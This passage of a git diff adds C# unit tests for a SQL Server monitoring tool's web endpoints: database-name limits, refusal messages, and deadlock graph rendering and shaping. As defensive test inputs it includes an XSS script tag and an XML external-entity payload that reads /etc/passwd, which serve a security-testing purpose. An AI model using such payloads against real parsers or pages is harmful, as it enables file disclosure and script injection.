+        Assert.Equal(50, DarlingWebEndpoints.MaxDatabaseNames);
+    }
+
+    [Fact]
+    public async Task DatabaseNames_FiftyOneDistinctNames_AreRefused()
+    {
+        var names = Enumerable.Range(1, 51).Select(i => "db" + i.ToString("D2"));
+
+        var message = await RefusalOf(QueryOf(names));
+
+        Assert.Contains("51 different databases", message, StringComparison.Ordinal);
+        Assert.Contains("at most 50", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>The cap counts DISTINCT names: three names sent forty times each are three names, not a hundred and
+    /// twenty, and the same name sent a hundred times with a long spelling is one name's worth of bytes.</summary>
+    [Fact]
+    public void DatabaseNames_TheCapAndTheByteBudget_AreCountedAfterDeDuplication()
+    {
+        var threeNamesRepeated = Enumerable.Range(0, 120).Select(i => new[] { "A", "B", "C" }[i % 3]);
+        Assert.Equal(L("A", "B", "C"), NamesOf(QueryOf(threeNamesRepeated)));
+
+        var longName = new string('x', 100);
+        var oneLongNameRepeated = Enumerable.Repeat(longName, 100);
+        Assert.Equal(L(longName), NamesOf(QueryOf(oneLongNameRepeated)));
+
+        // 51 values over 50 distinct names are still 50 names.
+        var fiftyDistinctPlusARepeat = Enumerable.Range(1, 50).Select(i => "db" + i.ToString("D2")).Append("db01");
+        Assert.Equal(50, NamesOf(QueryOf(fiftyDistinctPlusARepeat)).Count);
+    }
+
+    [Fact]
+    public async Task DatabaseNames_FiftyLongNonAsciiNames_AreRefusedForGoingOverTheByteBudget()
+    {
+        // 50 names is at the cap and 100 characters is under the name limit, so only the byte budget refuses this:
+        // each name is 2 digits and 98 accented letters, which the browser sends as 2 + 98 x 6 = 590 characters.
+        var names = Enumerable.Range(1, 50).Select(i => i.ToString("D2") + new string('é', 98)).ToArray();
+        Assert.Equal(50, names.Distinct().Count());
+        Assert.All(names, name => Assert.Equal(100, name.Length));
+
+        var message = await RefusalOf(QueryOf(names));
+
+        Assert.Contains("encoded bytes", message, StringComparison.Ordinal);
+        Assert.DoesNotContain("different databases", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>Each name costs the 15 bytes of <c>&amp;database_name=</c> plus its encoded length, and 4,096 is
+    /// the most. Thirty-five names of 100 letters cost 35 x 115 = 4,025; a 36th that costs 71 (56 letters) lands on
+    /// exactly 4,096 and is accepted, and one letter more is refused.</summary>
+    [Fact]
+    public async Task DatabaseNames_TheByteBudget_IsInclusiveAt4096()
+    {
+        var names = Enumerable.Range(1, 35).Select(i => "n" + i.ToString("D2") + new string('x', 97)).ToList();
+        Assert.All(names, name => Assert.Equal(100, name.Length));
+
+        var atTheLimit = names.Append("z" + new string('y', 55)).ToList();
+        Assert.Equal(4096, atTheLimit.Sum(name => 15 + EncodeUriComponent(name).Length));
+        Assert.Equal(atTheLimit, NamesOf(QueryOf(atTheLimit)));
+
+        var overTheLimit = names.Append("z" + new string('y', 56)).ToList();
+        Assert.Equal(4097, overTheLimit.Sum(name => 15 + EncodeUriComponent(name).Length));
+        var message = await RefusalOf(QueryOf(overTheLimit));
+        Assert.Contains("4097 encoded bytes", message, StringComparison.Ordinal);
+        Assert.Contains("at most 4096", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>The product's byte count is the length <c>encodeURIComponent</c> really gives, for ASCII, the
+    /// characters it leaves alone, accented letters, and a character outside the BMP (a surrogate pair).</summary>
+    [Fact]
+    public void EncodedQueryLength_IsTheLengthEncodeUriComponentGives()
+    {
+        var corpus = new List<string>(AwkwardNames)
+        {
+            "plain", "A-Z_a.z~0!9*'()", "with space", "a/b?c#d&e=f;g:h@i$j", "café", "中文", "😀", "tab\there",
+            new string('x', 128), string.Concat(Enumerable.Range(32, 95).Select(c => (char)c)),
+        };
+
+        foreach (var value in corpus)
+        {
+            Assert.Equal(EncodeUriComponent(value).Length, DarlingWebEndpoints.EncodedQueryLength(value));
+        }
+
+        Assert.Equal(15, DarlingWebEndpoints.DatabaseKeyBytes);
+        Assert.Equal(DarlingWebEndpoints.DatabaseKeyBytes, "&database_name=".Length);
+        Assert.Equal(4096, DarlingWebEndpoints.MaxDatabaseQueryBytes);
+    }
+
+    [Fact]
+    public async Task DatabaseNames_ANameOver128Characters_IsRefused_AndOneOf128IsKept()
+    {
+        var atTheLimit = new string('d', 128);
+        Assert.Equal(L(atTheLimit), NamesOf(QueryOf([atTheLimit])));
+        Assert.Equal(128, DarlingWebEndpoints.MaxDatabaseNameLength);
+
+        var message = await RefusalOf(QueryOf(["ok", new string('d', 129)]));
+        Assert.Contains("129 characters", message, StringComparison.Ordinal);
+        Assert.Contains("at most 128", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>A refusal never echoes a name back: a name is chosen by whoever can create a database, and the
+    /// sentence only counts and says what is accepted.</summary>
+    [Fact]
+    public async Task TheRefusals_NeverEchoAName()
+    {
+        const string Marker = "ZZ-MARKER-ZZ";
+        var tooLong = Marker + new string('d', 120);
+        var tooMany = Enumerable.Range(1, 51).Select(i => Marker + i.ToString("D2"));
+        var tooManyBytes = Enumerable.Range(1, 50).Select(i => Marker + i.ToString("D2") + new string('é', 80));
+
+        foreach (var names in new[] { new[] { "ok", tooLong }, tooMany.ToArray(), tooManyBytes.ToArray() })
+        {
+            var message = await RefusalOf(QueryOf(names));
+
+            Assert.DoesNotContain("MARKER", message, StringComparison.Ordinal);
+        }
+    }
+
+    // ── the catalog row ──
+
+    /// <summary>The picker's catalog helper is the same row as the single-name text param, so the served catalog keeps
+    /// its shape (text, optional, no default).</summary>
+    [Fact]
+    public void PDatabases_IsTheSameCatalogParamAsTheSingleNameTextParam()
+    {
+        var existing = DarlingWebEndpoints.CatalogDescriptors["get_active_queries"].Params.Single(p => p.Name == "database_name");
+
+        Assert.Equal(existing, DarlingWebEndpoints.PDatabases());
+        Assert.Equal(new DarlingWebEndpoints.CatalogParam("database_name", "text", false, null), DarlingWebEndpoints.PDatabases());
+    }
+}
diff --git a/Darling/Darling.Tests/WebDatabaseSizesNoteColumnTests.cs b/Darling/Darling.Tests/WebDatabaseSizesNoteColumnTests.cs
index e552cdd981..1a68cdd0ac 100644
--- a/Darling/Darling.Tests/WebDatabaseSizesNoteColumnTests.cs
+++ b/Darling/Darling.Tests/WebDatabaseSizesNoteColumnTests.cs
@@ -74,7 +74,7 @@ public void TheTableRenderer_DropsAnEmptyOptInColumn_AndKeepsEveryOtherColumn()
 
         Process proc;
         try { proc = Process.Start(psi)!; }
-        catch (Win32Exception) { return; } // Node is not installed; the source pins above still hold the change in place.
+        catch (Win32Exception) { Assert.Skip("Node is not installed, so the shipped page script cannot be run."); throw; } // The source pins above still hold the change in place.
 
         using (proc)
         {
diff --git a/Darling/Darling.Tests/WebDeadlockGraphBehaviourTests.cs b/Darling/Darling.Tests/WebDeadlockGraphBehaviourTests.cs
new file mode 100644
index 0000000000..6fcc8f154c
--- /dev/null
+++ b/Darling/Darling.Tests/WebDeadlockGraphBehaviourTests.cs
@@ -0,0 +1,171 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web deadlock graph (#5246), from the shipped <c>deadlock-graph.js</c> run under Node
+/// (<c>web-deadlock-graph-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebDeadlockGraphBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-deadlock-graph-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the deadlock graph harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the deadlock graph harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+    private static int Int(JsonElement r, string name) => r.GetProperty(name).GetInt32();
+
+    [Fact]
+    public void TheGraph_IsNotDrawnUntilTheRowIsOpened_AndIsDrawnOnce()
+    {
+        var r = Run("lazy");
+        Assert.Equal("details", Str(r, "tag"));
+        Assert.Equal("Graph (2 processes)", Str(r, "summary"));
+        Assert.Equal(0, Int(r, "svgBefore"));
+        Assert.Equal(1, Int(r, "svgAfter"));
+        Assert.Equal(1, Int(r, "svgAfterReopen"));
+    }
+
+    [Fact]
+    public void TheGraph_DrawsACardPerProcess_AnArrowPerEdge_AndMarksTheVictim()
+    {
+        var r = Run("draws");
+        Assert.Equal(2, Int(r, "nodes"));
+        Assert.Equal(1, Int(r, "victims"));
+        Assert.Equal(2, Int(r, "paths"));
+        Assert.Equal(2, Int(r, "markerEnds"));
+        Assert.Equal(0, Int(r, "cycleFrames"));
+        Assert.Equal("0 0 700 300", Str(r, "viewBox"));
+        Assert.All(r.GetProperty("labels").EnumerateArray(), l => Assert.Equal("t · X", l.GetString()));
+        Assert.Contains("KEY AppDb.dbo.t\nWaiter requests X, owner holds U (keylock)", r.GetProperty("titles").EnumerateArray().Select(t => t.GetString()));
+        Assert.Equal("SPID 51", r.GetProperty("selectedAtOpen")[0].GetString());
+        Assert.Equal("SPID 51 (victim)", Str(r, "head"));
+    }
+
+    [Fact]
+    public void ClickingOrPressingEnterOnACard_ShowsItsStatementAsText()
+    {
+        var r = Run("click");
+        Assert.Equal("SPID 52", Str(r, "head"));
+        Assert.Equal("update dbo.t set a = 1", Str(r, "pre"));
+        Assert.Equal(1, Int(r, "cutNote"));
+        Assert.Equal(1, Int(r, "selected"));
+        Assert.Equal("SPID 51 (victim)", Str(r, "headAfterEnter"));
+    }
+
+    [Fact]
+    public void HostileStatementText_IsShownAsText_AndCreatesNoElement()
+    {
+        var r = Run("hostile");
+        Assert.Equal(0, Int(r, "scripts"));
+        Assert.Contains("<script>alert(1)</script>", Str(r, "pre"));
+    }
+
+    [Fact]
+    public void SeveralCycles_GetADashedFrameEachAndAreCountedInTheSummary()
+    {
+        var r = Run("twoCycles");
+        Assert.Equal(2, Int(r, "cycleFrames"));
+        /* The desktop's rule: a one-node box is no cycle, the page numbers 1..n, and each frame sits 22 outside the cards. */
+        Assert.Equal(new[] { "Cycle 1", "Cycle 2" }, r.GetProperty("cycleLabels").EnumerateArray().Select(l => l.GetString()).ToArray());
+        Assert.Equal(new[] { "-2,-2,374,304", "358,-2,344,304" }, r.GetProperty("frameRects").EnumerateArray().Select(l => l.GetString()).ToArray());
+        Assert.Equal("Graph (2 processes, 2 cycles)", Str(r, "summary"));
+    }
+
+    [Fact]
+    public void AParallelSelfEdge_IsALoopOverTheCard()
+    {
+        var r = Run("selfLoop");
+        Assert.Equal(0, Int(r, "paths"));
+        Assert.Equal(1, Int(r, "ellipses"));
+        Assert.Equal(1, Int(r, "arrowheads"));
+        Assert.StartsWith("0 -", Str(r, "viewBox"), StringComparison.Ordinal);
+        Assert.Equal(0, Int(r, "cycleFrames"));
+        Assert.Equal("Graph (1 process)", Str(r, "summary"));
+    }
+
+    [Fact]
+    public void AnEdgeLabel_ShowsTheTableName_AndTheTooltipTheWholeResource()
+    {
+        var r = Run("shortLabel");
+        Assert.Equal("new_order · X", Str(r, "label"));
+        Assert.StartsWith("PAGE hammerdb_tpcc.dbo.new_order\n", Str(r, "title"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void AStatementTheGraphLeftOff_IsReadFromTheRowsProcessPreview()
+    {
+        Assert.Equal("from the preview", Str(Run("previewFallback"), "pre"));
+    }
+
+    [Fact]
+    public void ATooLargeDeadlock_SaysSoInsteadOfDrawing()
+    {
+        var r = Run("tooLarge");
+        Assert.Equal("#text", Str(r, "tag"));
+        Assert.Contains("75 processes", Str(r, "text"));
+        Assert.Contains("Save XML", Str(r, "text"));
+    }
+
+    [Fact]
+    public void APreviewXml_SaysTheGraphNeedsTheFullXml()
+    {
+        var r = Run("truncatedXml");
+        Assert.Contains("needs the full XML", Str(r, "preview"));
+        Assert.Equal("—", Str(r, "none"));
+    }
+
+    [Fact]
+    public void AnOpenGraph_StaysOpenAcrossARebuild_ForThatServerOnly()
+    {
+        var r = Run("openSurvivesRebuild");
+        Assert.True(r.GetProperty("reopened").GetBoolean());
+        Assert.Equal(1, Int(r, "svg"));
+        Assert.False(r.GetProperty("otherServerOpen").GetBoolean());
+        Assert.Equal(0, Int(r, "otherServerSvg"));
+    }
+}
diff --git a/Darling/Darling.Tests/WebDeadlockGraphShapeTests.cs b/Darling/Darling.Tests/WebDeadlockGraphShapeTests.cs
new file mode 100644
index 0000000000..264060f0ce
--- /dev/null
+++ b/Darling/Darling.Tests/WebDeadlockGraphShapeTests.cs
@@ -0,0 +1,297 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The drawn-graph shape the web <c>get_deadlock_detail</c> row adds (#5246): the shared parser and layout, shaped
+/// per row, with the rest of the payload left exactly as the tool sent it. No store.
+/// </summary>
+public sealed class WebDeadlockGraphShapeTests
+{
+    private static string ReadSource(string relative) => ReadRepoFile(relative.Split('/'));
+
+    private static string Fixture(string name) => DeadlockGraphParserTests.LoadFixture(name);
+
+    private static string Payload(params (string Xml, bool Truncated)[] rows)
+    {
+        var arr = new JsonArray();
+        foreach (var (xml, truncated) in rows)
+        {
+            var row = new JsonObject { ["deadlock_time"] = "2026-01-01T00:00:00Z", ["victim_process_id"] = "p1", ["deadlock_graph_xml"] = xml };
+            if (truncated) row["deadlock_graph_xml_truncated"] = true;
+            arr.Add(row);
+        }
+        return new JsonObject { ["server_name"] = "s", ["deadlocks"] = arr }.ToJsonString();
+    }
+
+    private static JsonObject GraphOf(string json, int index = 0) =>
+        (JsonObject)((JsonObject)JsonNode.Parse(json)!["deadlocks"]!.AsArray()[index]!)["graph"]!;
+
+    [Theory]
+    [InlineData("deadlock_2proc_real_sql2025.xml")]
+    [InlineData("deadlock_5proc_real_sql2025.xml")]
+    [InlineData("deadlock_8proc_multivictim_real_sql2025.xml")]
+    [InlineData("deadlock_parallel_selfedge_synthetic.xml")]
+    public void TheGraph_MatchesTheSharedParseAndLayout(string fixture)
+    {
+        var xml = Fixture(fixture);
+        var model = DeadlockGraphParser.Parse(xml);
+        var (w, h) = DeadlockGraphLayout.Layout(model);
+
+        var g = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((xml, false))));
+
+        Assert.Equal(model.Processes.Count, g["processes"]!.AsArray().Count);
+        Assert.Equal(model.Edges.Count, g["edges"]!.AsArray().Count);
+        /* The desktop's rule: only a component of two or more processes is a cycle. */
+        Assert.Equal(model.ComponentBoxes.Count(b => b.NodeCount >= 2), g["cycles"]!.AsArray().Count);
+        Assert.All(g["cycles"]!.AsArray().Cast<JsonObject>(), c => Assert.True(c["node_count"]!.GetValue<int>() >= 2));
+        Assert.Equal(Math.Round(w, 1), g["width"]!.GetValue<double>());
+        Assert.Equal(Math.Round(h, 1), g["height"]!.GetValue<double>());
+        Assert.Equal(DeadlockGraphLayout.NodeWidth, g["node_width"]!.GetValue<double>());
+        Assert.Equal(model.IsParallel, g["is_parallel"]!.GetValue<bool>());
+
+        var drawn = g["processes"]!.AsArray().Cast<JsonObject>().ToDictionary(p => p["id"]!.GetValue<string>());
+        foreach (var p in model.Processes)
+        {
+            var n = drawn[p.Id];
+            Assert.Equal(Math.Round(p.X, 1), n["x"]!.GetValue<double>());
+            Assert.Equal(Math.Round(p.Y, 1), n["y"]!.GetValue<double>());
+            Assert.Equal(p.Spid, n["spid"]!.GetValue<int>());
+            Assert.Equal(p.IsVictim, n["victim"]!.GetValue<bool>());
+        }
+
+        var edges = g["edges"]!.AsArray().Cast<JsonObject>().ToList();
+        for (var i = 0; i < model.Edges.Count; i++)
+        {
+            Assert.Equal(model.Edges[i].WaiterProcessId, edges[i]["waiter"]!.GetValue<string>());
+            Assert.Equal(model.Edges[i].OwnerProcessId, edges[i]["owner"]!.GetValue<string>());
+            Assert.Equal(model.Edges[i].IsSelfEdge, edges[i]["self"]!.GetValue<bool>());
+            Assert.Equal(model.Edges[i].RequestMode, edges[i]["request_mode"]?.GetValue<string>() ?? "");
+            Assert.Equal(model.Edges[i].OwnerMode, edges[i]["owner_mode"]?.GetValue<string>() ?? "");
+        }
+    }
+
+    [Fact]
+    public void EveryVictim_IsFlagged_AndTheTwoProcessLocksAreReported()
+    {
+        var multi = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((Fixture("deadlock_8proc_multivictim_real_sql2025.xml"), false))));
+        var model = DeadlockGraphParser.Parse(Fixture("deadlock_8proc_multivictim_real_sql2025.xml"));
+        var flagged = multi["processes"]!.AsArray().Cast<JsonObject>().Count(p => p["victim"]!.GetValue<bool>());
+        Assert.True(model.Processes.Count(p => p.IsVictim) > 1);
+        Assert.Equal(model.Processes.Count(p => p.IsVictim), flagged);
+
+        var two = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((Fixture("deadlock_2proc_real_sql2025.xml"), false))));
+        var e = two["edges"]!.AsArray().Cast<JsonObject>().First(x => x["resource_label"]!.GetValue<string>() == "PAGE hammerdb_tpcc.dbo.new_order");
+        Assert.False(string.IsNullOrEmpty(e["request_mode"]!.GetValue<string>()));
+        Assert.False(string.IsNullOrEmpty(e["owner_mode"]!.GetValue<string>()));
+        Assert.Equal("hammerdb_tpcc.dbo.neword", two["processes"]!.AsArray().Cast<JsonObject>().First(p => p["victim"]!.GetValue<bool>())["proc_name"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void TheParallelSelfEdge_IsMarkedSelf()
+    {
+        var g = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((Fixture("deadlock_parallel_selfedge_synthetic.xml"), false))));
+        Assert.Contains(g["edges"]!.AsArray().Cast<JsonObject>(), e => e["self"]!.GetValue<bool>());
+        Assert.True(g["is_parallel"]!.GetValue<bool>());
+    }
+
+    [Fact]
+    public void AValueTheGraphDidNotCarry_IsLeftOffRatherThanSentEmpty()
+    {
+        var g = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((Fixture("deadlock_2proc_real_sql2025.xml"), false))));
+        foreach (var p in g["processes"]!.AsArray().Cast<JsonObject>())
+            foreach (var kv in p.Where(kv => kv.Value is JsonValue v && v.TryGetValue<string>(out _)))
+                Assert.False(string.IsNullOrEmpty(kv.Value!.GetValue<string>()), kv.Key);
+    }
+
+    [Fact]
+    public void MalformedXml_AndATruncatedRow_GetNoGraph_AndAreLeftAlone()
+    {
+        var json = Payload(("<deadlock><oops", false), ("", false), (Fixture("deadlock_2proc_real_sql2025.xml").Substring(0, 200), false));
+        Assert.Equal(json, DarlingWebDeadlockGraph.AddGraphs(json));
+
+        /* The whole, parseable XML on a row marked truncated is still left alone: the flag is what skips it. */
+        var cut = Payload((Fixture("deadlock_2proc_real_sql2025.xml"), true));
+        Assert.Equal(cut, DarlingWebDeadlockGraph.AddGraphs(cut));
+        Assert.Null(JsonNode.Parse(DarlingWebDeadlockGraph.AddGraphs(cut))!["deadlocks"]![0]!["graph"]);
+
+        var mixed = DarlingWebDeadlockGraph.AddGraphs(Payload(("<deadlock><oops", false), (Fixture("deadlock_2proc_real_sql2025.xml"), false)));
+        var rows = JsonNode.Parse(mixed)!["deadlocks"]!.AsArray();
+        Assert.Null(rows[0]!["graph"]);
+        Assert.NotNull(rows[1]!["graph"]);
+    }
+
+    [Fact]
+    public void AStatementAlreadyInTheRowsProcessPreview_IsNotSentAgain_AndACutOneIs()
+    {
+        var xml = Fixture("deadlock_2proc_real_sql2025.xml");
+        var model = DeadlockGraphParser.Parse(xml);
+        var first = model.Processes[0];
+        var second = model.Processes[1];
+        var previews = new JsonArray
+        {
+            new JsonObject { ["process_id"] = first.Id, ["sql_text"] = first.SqlText },
+            new JsonObject { ["process_id"] = second.Id, ["sql_text"] = "a shorter preview" },
+        };
+        var payload = JsonNode.Parse(Payload((xml, false)))!;
+        payload["deadlocks"]![0]!["processes"] = previews;
+
+        var g = GraphOf(DarlingWebDeadlockGraph.AddGraphs(payload.ToJsonString()));
+        var byId = g["processes"]!.AsArray().Cast<JsonObject>().ToDictionary(p => p["id"]!.GetValue<string>());
+        Assert.False(byId[first.Id].ContainsKey("sql_text"));
+        Assert.Equal(second.SqlText, byId[second.Id]["sql_text"]!.GetValue<string>());
+
+        /* With no processes[] on the row, nothing is dropped. */
+        var bare = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((xml, false))));
+        Assert.All(bare["processes"]!.AsArray().Cast<JsonObject>(), p => Assert.Equal(model.Processes.First(m => m.Id == p["id"]!.GetValue<string>()).SqlText.Length > 0, p.ContainsKey("sql_text")));
+    }
+
+    [Fact]
+    public void ARowWhoseGraphCannotBeBuilt_LosesOnlyItsGraph()
+    {
+        /* A process id the layout cannot place twice is not easy to write, so the guard is pinned in the source
+           and the read-through behaviour by a payload whose first row has a hostile entity declaration. */
+        var src = ReadSource("Darling/PerformanceMonitor.Darling.Service/DarlingWebDeadlockGraph.cs");
+        Assert.Contains("catch (Exception)", src, StringComparison.Ordinal);
+
+        var hostile = "<!DOCTYPE d [<!ENTITY x SYSTEM \"file:///etc/passwd\">]><deadlock>&x;</deadlock>";
+        var mixed = DarlingWebDeadlockGraph.AddGraphs(Payload((hostile, false), (Fixture("deadlock_2proc_real_sql2025.xml"), false)));
+        var rows = JsonNode.Parse(mixed)!["deadlocks"]!.AsArray();
+        Assert.Null(rows[0]!["graph"]);
+        Assert.NotNull(rows[1]!["graph"]);
+    }
+
+    [Fact]
+    public void NothingThatServesAnMcpClient_ReachesTheGraphAddingDispatchRow()
+    {
+        /* BuildReadDispatch() is called by the /api/read routes and the triage page (both the browser), and its
+           KEYS by the notebook and Custom Views validators. run_custom_view_panel runs RunComposedPanelAsync, which
+           compiles a measure and never calls a dispatch handler. So no MCP code names the handler type. */
+        var service = PathTo("Darling", "PerformanceMonitor.Darling.Service");
+        foreach (var dir in new[] { "Mcp", "Compose" })
+            foreach (var f in Directory.GetFiles(Path.Combine(service, dir), "*.cs"))
+            {
+                var text = File.ReadAllText(f);
+                Assert.DoesNotContain("ReadToolHandler", text, StringComparison.Ordinal);
+                Assert.DoesNotContain("DarlingWebDeadlockGraph", text, StringComparison.Ordinal);
+            }
+    }
+
+    [Fact]
+    public void TheGraphColumn_IsLeftOutOfTheFilterAndTheCopy()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var line = tabs.Split('\n').First(l => l.Contains("{ key: \"graph\"", StringComparison.Ordinal));
+        Assert.Contains("filter: false", line, StringComparison.Ordinal);
+        Assert.Contains("copy: false", line, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheEditorsColumnKeyPicker_ListsOnlyScalarKeys()
+    {
+        var editor = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "editor.js");
+        var at = editor.IndexOf("function rowKeys(", StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var body = editor.Substring(at, 400);
+        Assert.Contains("typeof first[k] !== \"object\"", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ADeadlockOverTheCap_IsCountedNotDrawn()
+    {
+        var sb = new StringBuilder("<deadlock><victim-list><victimProcess id=\"p0\"/></victim-list><process-list>");
+        for (var i = 0; i <= DarlingWebDeadlockGraph.MaxGraphProcesses; i++)
+            sb.Append("<process id=\"p").Append(i).Append("\" spid=\"").Append(50 + i).Append("\" waitresource=\"KEY: 5:1 (a)\" lockMode=\"X\"><executionStack/><inputbuf>select ").Append(i).Append("</inputbuf></process>");
+        sb.Append("</process-list><resource-list/></deadlock>");
+
+        var g = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((sb.ToString(), false))));
+        Assert.True(g["too_large"]!.GetValue<bool>());
+        Assert.Equal(DarlingWebDeadlockGraph.MaxGraphProcesses + 1, g["process_count"]!.GetValue<int>());
+        Assert.Null(g["processes"]);
+    }
+
+    [Fact]
+    public void ALongStatement_IsCutAndSaysSo()
+    {
+        var xml = Fixture("deadlock_2proc_real_sql2025.xml");
+        var model = DeadlockGraphParser.Parse(xml);
+        var text = model.Processes[0].SqlText;
+        var padded = new string('x', DarlingWebDeadlockGraph.SqlTextCap + 50);
+        var longXml = xml.Replace(text, padded, StringComparison.Ordinal);
+        Assert.NotEqual(xml, longXml);
+
+        var g = GraphOf(DarlingWebDeadlockGraph.AddGraphs(Payload((longXml, false))));
+        var cut = g["processes"]!.AsArray().Cast<JsonObject>().Single(p => p["sql_text_cut"] is not null);
+        Assert.True(cut["sql_text_cut"]!.GetValue<bool>());
+        Assert.Equal(DarlingWebDeadlockGraph.SqlTextCap, cut["sql_text"]!.GetValue<string>().Length);
+    }
+
+    [Theory]
+    [InlineData("{\"status\":\"unavailable\",\"message\":\"No deadlocks\"}")]
+    [InlineData("{\"status\":\"error\",\"message\":\"boom\"}")]
+    [InlineData("not json at all")]
+    [InlineData("[1,2]")]
+    [InlineData("")]
+    public void AnEnvelope_OrAnError_PassesThroughUnchanged(string json) =>
+        Assert.Equal(json, DarlingWebDeadlockGraph.AddGraphs(json));
+
+    [Fact]
+    public void EveryOtherKeyOnEveryRow_IsUnchanged()
+    {
+        var before = Payload((Fixture("deadlock_2proc_real_sql2025.xml"), false), (Fixture("deadlock_5proc_real_sql2025.xml"), false));
+        var after = DarlingWebDeadlockGraph.AddGraphs(before);
+
+        var a = JsonNode.Parse(before)!.AsObject();
+        var b = JsonNode.Parse(after)!.AsObject();
+        Assert.Equal(a["server_name"]!.ToJsonString(), b["server_name"]!.ToJsonString());
+        for (var i = 0; i < 2; i++)
+        {
+            var ra = a["deadlocks"]![i]!.AsObject();
+            var rb = b["deadlocks"]![i]!.AsObject();
+            foreach (var kv in ra) Assert.Equal(kv.Value!.ToJsonString(), rb[kv.Key]!.ToJsonString());
+            Assert.Equal(ra.Count + 1, rb.Count);
+        }
+    }
+
+    [Fact]
+    public void OnlyTheWebRowAddsTheGraph_TheToolAndItsPayloadAreUntouched()
+    {
+        var web = ReadSource("Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs");
+        Assert.Contains("DarlingWebDeadlockGraph.AddGraphs(await DarlingMcpBlockingTools.GetDeadlockDetail(", web, StringComparison.Ordinal);
+
+        var tool = ReadSource("Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs");
+        Assert.DoesNotContain("DeadlockGraphLayout", tool, StringComparison.Ordinal);
+        Assert.DoesNotContain("DarlingWebDeadlockGraph", tool, StringComparison.Ordinal);
+        Assert.False(File.Exists(PathTo("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingWebDeadlockGraph.cs")), "the web graph shaping lives outside Mcp/");
+    }
+
+    [Fact]
+    public void TheGraphScript_NeverParsesMarkup_AndIsWiredIntoTheGrid()
+    {
+        var js = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "deadlock-graph.js");
+        foreach (var banned in new[] { "innerHTML", "insertAdjacentHTML", "DOMParser", "outerHTML" })
+            Assert.DoesNotContain(banned, js, StringComparison.Ordinal);
+        Assert.DoesNotContain("from \"../charts.js\"", js, StringComparison.Ordinal);
+
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        Assert.Contains("from \"./deadlock-graph.js\"", tabs, StringComparison.Ordinal);
+        Assert.Contains("{ key: \"graph\"", tabs, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebExceptionTextCensusTests.cs b/Darling/Darling.Tests/WebExceptionTextCensusTests.cs
index f4b15bb822..5b8a9c107d 100644
--- a/Darling/Darling.Tests/WebExceptionTextCensusTests.cs
+++ b/Darling/Darling.Tests/WebExceptionTextCensusTests.cs
@@ -85,6 +85,36 @@ private static readonly (string File, string Snippet, string Reason)[] s_allowLi
             "and the MCP run_custom_view_panel tool (DarlingMcpCustomViewTools) reads the same field unchanged " +
             "— #4283 does not touch what an MCP client sees."
         ),
+        (
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"),
+            "ex.InnerException is TimeoutException",
+            "The two statement catch filters (#4605): they only decide whether the runner throws the statement-timeout marker; the exception's text is never read or returned."
+        ),
+        (
+            Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"),
+            "base(inner.Message, inner)",
